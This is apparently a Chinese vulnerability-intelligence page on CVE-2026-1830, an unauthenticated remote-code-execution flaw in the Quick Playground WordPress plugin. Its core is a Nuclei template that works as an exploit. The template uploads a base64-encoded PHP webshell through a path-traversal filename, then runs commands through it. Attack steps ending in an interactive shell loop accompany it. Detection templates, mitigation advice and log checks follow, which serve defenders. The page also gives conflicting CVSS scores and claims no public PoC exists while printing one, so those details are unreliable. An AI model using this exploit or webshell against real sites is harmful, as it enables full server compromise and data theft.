[webapps] Quick Playground for WordPress 1.3.1 - Unauthenticated Remote Code Execution

CVE-2026-1830:WordPress Quick Playground插件1.3.1及之前版本存在未认证远程代码执行漏洞。攻击者可通过sync_code验证绕过和路径遍历上传任意PHP文件,完全控制服务器。本文提供漏洞详情、PoC分析、检测与修复指南。

CVE-2026-1830

WordPress Quick Playground插件1.3.1及之前版本未授权RCE,攻击者可上传任意PHP文件。

Critical · CVSS 9.8

📋 漏洞基础信息

CVECVE-2026-1830
漏洞类型路径遍历导致的任意文件上传RCE
受影响版本Quick Playground for WordPress <= 1.3.1
危害等级Critical · CVSS 9.8
发布日期2026-05-29
提交者cardosource
来源Exploit-DB 原文 ↗

🔬 漏洞根因

REST API端点/wp-json/quickplayground/v1/upload_image/{profile}在save_image函数中仅通过sync_code验证(if($code == $sync_code) return true;),未进行WordPress会话认证或权限检查,且未对filename参数做路径过滤,允许../../../路径遍历。

🎯 攻击场景

1. 攻击者获取或猜测sync_code(弱/泄露/可预测);2. 构造POST请求到/wp-json/quickplayground/v1/upload_image/{profile},json body包含sync_code、filename(含路径遍历)和base64编码的PHP webshell;3. 文件被写入web可访问目录;4. 访问webshell URL并传参cmd执行系统命令。

💥 漏洞影响

未认证攻击者可上传任意PHP文件,导致远程代码执行,完全控制WordPress站点,可能导致数据泄露、服务器沦陷、进一步横向移动。

⚔️ Nuclei Exploit 模板

以下为标准 Nuclei v3 格式的利用模板,可直接用于漏洞验证:

id: CVE-2026-1830-exploit

info:
  name: Quick Playground for WordPress <= 1.3.1 - Unauthenticated RCE
  author: cardosource
  severity: critical
  description: Exploit for CVE-2026-1830 allowing unauthenticated remote code execution via arbitrary file upload.
  reference:
    - https://www.exploit-db.com/exploits/XXXXX
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10.0
    cve-id: CVE-2026-1830
  metadata:
    max-request: 2

variables:
  sync_code: 'exploit123'
  profile: 'default'
  filename: 'pwned.php'
  cmd: 'id'

http:
  - raw:
      - |
        POST /wp-json/quickplayground/v1/upload_image/{{profile}} HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0
        Content-Type: application/json

        {"sync_code":"{{sync_code}}","filename":"../../../{{filename}}","base64":"PD9waHAgJGNtZD0kX0dFVFsnY21kJ107c3lzdGVtKCRjbWQpOyA/Pg=="}

    matchers:
      - type: word
        part: body
        words:
          - 'saving to'
        negative: false

    extractors:
      - type: regex
        part: body
        name: message
        regex:
          - '"message":"(.*?)"'
        group: 1

  - raw:
      - |
        GET /{{filename}}?cmd={{cmd}} HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0

    matchers:
      - type: word
        part: body
        words:
          - 'uid='
          - 'root:x:'
        condition: or

    extractors:
      - type: regex
        part: body
        name: output
        regex:
          - '(.*?)$'
        group: 1

🔬 深度技术分析

1. 设置目标URL和sync_code(在本地实验室中通过wp option update qckply_sync_code_default设置为'exploit123');2. 生成随机8字符小写文件名加.php后缀;3. 构造web shell PHP代码;4. 创建json payload:sync_code、包含../../路径遍历的filename、base64编码的shell;5. POST到上传端点;6. 解析响应,若包含'saving to'则上传成功;7. 访问上传文件URL并传参cmd=id执行命令,检查响应中<pre>标签内容确认RCE;8. 进入交互式shell循环。

🔍 Nuclei Detection 模板

以下为漏洞探测模板,用于判断目标是否受影响:

id: CVE-2026-1830-detection

info:
  name: Quick Playground for WordPress <= 1.3.1 - Detection
  author: cardosource
  severity: info
  description: Detects Quick Playground plugin version <= 1.3.1 by checking the REST API endpoint
  reference:
    - https://www.exploit-db.com/exploits/XXXXX
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10.0
    cve-id: CVE-2026-1830

http:
  - method: GET
    path:
      - '{{BaseURL}}/wp-json/quickplayground/v1/upload_image/default'
    headers:
      User-Agent: Mozilla/5.0
    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'rest_no_route'
          - 'No route was found matching the URL and request method'
        condition: or
        negative: true
      - type: status
        status:
          - 200
          - 400
        condition: or
    extractors:
      - type: regex
        part: header
        name: plugin_version
        regex:
          - 'X-Plugin-Version: ([0-9.]+)'
        group: 1

🛡️ 修复建议

暂无官方补丁,建议升级到>1.3.1版本(如有);临时措施:禁用插件,或使用Web应用防火墙规则拦截对/wp-json/quickplayground/v1/upload_image/的POST请求,或通过.htaccess限制该端点仅允许已认证用户访问。

📎 参考链接

🚨 威胁评估

📈 EPSS 利用概率暂无数据
🚨 CISA KEV未被已知利用
🔧 公开 PoC暂无公开 PoC

⚠️ 本文基于公开漏洞数据库,仅供安全研究与防御参考。生成时间: 2026-05-31 08:10 | 来源: Exploit-DB

🤖 常见问题解答(FAQ)

❓ 漏洞是否需要认证?

不需要。只需要sync_code值(可能弱、泄露或可预测),无需WordPress会话或权限。sync_code默认值可通过wp option get qckply_sync_code_default获取。

❓ 如何检测是否被攻击?

检查web服务器访问日志中/wp-json/quickplayground/v1/upload_image/的POST请求,响应中包含'saving to'字符串,以及web根目录下突然出现的.php文件。也可用命令find /var/www/html -name '*.php' -mmin -60检查最近上传的PHP文件。

❓ 修复后如何验证?

确定sync_code默认值被删除或更改为强随机值;同时确保对filename参数进行了路径规范化(如realpath)并限制扩展名为图像类型(jpg/png/gif);确认端点已添加current_user_can检查。

[!] CONTACT_CHANNELS

如需商务合作、技术咨询或漏洞反馈,请通过以下离岸节点联系作者。

> PING_AUTHOR (@A1RedTeam)